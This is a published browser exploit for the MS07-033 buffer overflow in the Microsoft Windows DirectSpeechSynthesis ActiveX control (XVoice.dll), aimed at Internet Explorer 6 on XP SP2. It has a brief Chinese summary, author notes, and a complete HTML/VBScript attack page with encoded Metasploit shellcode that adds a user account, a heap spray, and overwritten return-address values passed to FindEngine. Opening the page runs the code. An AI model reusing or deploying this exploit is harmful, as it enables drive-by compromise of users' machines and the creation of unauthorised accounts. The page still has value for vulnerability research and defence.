Microsoft Windows DirectSpeechSynthesis Module MS07-033 EXPLOIT

本文介绍了一个影响 Microsoft Windows DirectSpeech Synthesis Module 和 DirectSpeech Recognition Module 的远程缓冲区溢出漏洞。该漏洞允许攻击者通过 HTML 文件远程触发漏洞，无需依赖特定的 boot.ini 设置。

<!--
6.30 10/06/2007
Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll 4.0.4.2512)
/ DirectSpeechRecognition Module (Xlisten.dll 4.0.4.2512)
remote buffer overflow exploit/ xp sp2 version

both dlls are vulnerable, this is the poc for the first one
worked regardless of boot.ini settings, remotely and
by dragging the html file in the browser window
tested against IE 6

by A. Micalizzi (aka rgod )

this is dedicated to Sara, and greetings to shinnai, a good comrade

***note: this was indipendently discovered by me and Will Dormann during the
same period, documented here:

http://www.kb.cert.org/vuls/id/507433
http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx

the affected package,
http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp

is still distributed with the kill bit not set
-->

<html>
<object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT>
<script language='vbscript'>

REM metasploit, add a user 'su' with pass 'tzu'
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") + NOP

eax= unescape("%ff%13")
ebp= unescape("%ff%13")
eip= unescape("%01%0a") : REM jmp to scode, UNICODE expanded
jnk= string(50,unescape("%13"))

suntzu = string(888,"A") + ebp + eip + eax + jnk

bufferI   = string(9999999,"X")
bufferII  = string(9999999,"Y")
bufferIII = string(9999999,"Z")
bufferIV  = string(9999999,"O")

EngineID= string(200000,"b")
MfgName="default"
ProductName="default"
ModeID= string(199544,unescape("%90")) + scode
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style=1
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
RankEngineFeatures=1

DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures

</script>
</html>